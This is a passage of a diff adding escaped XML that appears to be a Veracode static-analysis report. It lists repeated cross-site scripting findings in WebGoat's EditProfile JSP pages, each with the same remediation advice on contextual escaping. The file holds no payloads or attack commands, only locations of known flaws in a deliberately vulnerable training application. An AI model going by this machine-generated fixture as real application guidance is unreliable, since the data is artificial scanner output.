+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"200\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"102\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"195\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"125\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"61\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"65\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"249\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"140\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"152\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"134\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"142\" module=\"WebGoat-5.0-with-jsp.war\"
